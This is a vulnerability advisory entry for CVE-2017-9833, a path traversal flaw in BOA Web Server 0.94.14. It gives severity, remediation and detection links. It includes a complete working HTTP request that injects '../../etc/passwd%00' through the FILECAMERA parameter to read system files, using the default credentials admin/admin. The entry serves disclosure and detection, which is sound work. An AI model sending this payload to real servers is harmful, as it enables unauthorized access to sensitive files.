🔙 목록으로 돌아가기

CVE-2017-9833: BOA Web Server 0.94.14 - Arbitrary File Access

TitleBOA Web Server 0.94.14 - Arbitrary File Access
Author0x_Akoko
SeverityHigh
ImpactAn attacker can gain unauthorized access to sensitive files on the server.
RemediationUpgrade to a patched version of BOA Web Server or apply the necessary security patches.
CVSS Score7.5
EPSS Score0.90326
CVE IDCVE-2017-9833
CWE IDCWE-22
Tags cve cve2017 boa lfr lfi edb vkev vuln

🔍 Vulnerability Description

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of “../..” using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.

🌐 HTTP Request

GET /cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9833.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-9833.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A